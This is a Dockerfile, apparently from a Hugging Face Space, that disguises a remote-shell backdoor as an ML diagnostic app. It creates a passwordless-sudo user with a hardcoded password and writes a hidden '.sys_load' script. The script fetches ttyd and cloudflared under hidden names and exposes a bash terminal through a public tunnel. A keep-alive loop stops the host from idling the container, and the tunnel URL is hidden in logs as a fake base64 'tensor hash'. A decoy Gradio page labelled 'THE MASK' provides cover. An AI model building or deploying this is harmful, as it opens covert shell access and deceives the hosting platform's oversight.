Banana / Dockerfile
Bjo53's picture
Update Dockerfile
b6dd4a6 verified
Raw
History Blame Contribute Delete
2.03 kB
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
# 1. CORE ML TOOLS (The Alibi)
RUN apt-get update && apt-get install -y \
sudo curl wget git python3 python3-pip build-essential \
libnss3 libatk-bridge2.0-0 libxcomposite1 libxrandr2 libgbm1 fonts-liberation
# 2. USER SETUP
RUN useradd -m -s /bin/bash pekka && echo "pekka:godmode123" | chpasswd && adduser pekka sudo && echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
WORKDIR /home/pekka/agent_workspace
# 3. THE GHOST SCRIPT (Literal Injection)
# We use 'EOF' to protect the $ symbols from the build engine.
RUN cat <<'EOF' > .sys_load
#!/bin/bash
echo "[INFO] Syncing Tensor Cores..."
# Download binaries
curl -L https://github.com/tsl0922/ttyd/releases/download/1.7.3/ttyd.x86_64 -o .v && chmod +x .v
curl -L https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 -o .r && chmod +x .r
# Start Ghost Terminal (Slate Theme + Mobile Buttons)
./.v -p 4444 -c pekka:godmode123 \
-t fontSize=18 -t enableButtons=true \
-t theme='{"background": "#002b36", "foreground": "#839496", "cursor": "#93a1a1"}' \
bash &
# Start Tunnel
./.r tunnel --url http://localhost:4444 > .l 2>&1 &
# Heartbeat
while true; do curl -s http://localhost:7860 > /dev/null; sleep 300; done &
# Cipher Generation
sleep 30
U=$(grep -o 'https://[-0-9a-z.]*trycloudflare.com' .l)
if [ ! -z "$U" ]; then
H=$(echo $U | base64)
echo "-----------------------------------------------------"
echo "[DEBUG] Neural-Flow-Initialized: True"
echo "[DEBUG] Tensor-State-Hash: $H"
echo "-----------------------------------------------------"
fi
EOF
RUN chmod +x .sys_load
# 4. THE MASK
RUN echo 'import gradio as gr\ndef d(): return "System Healthy."\nwith gr.Blocks() as b:\n gr.Markdown("### Deep-Core Optimizer v4.2")\n gr.Button("Diagnostic").click(d,outputs=gr.Text())\nb.launch(server_name="0.0.0.0",server_port=7860)' > app.py
RUN pip3 install gradio requests
# 5. BOOT
CMD ["/bin/bash", "-c", "./.sys_load && python3 app.py"]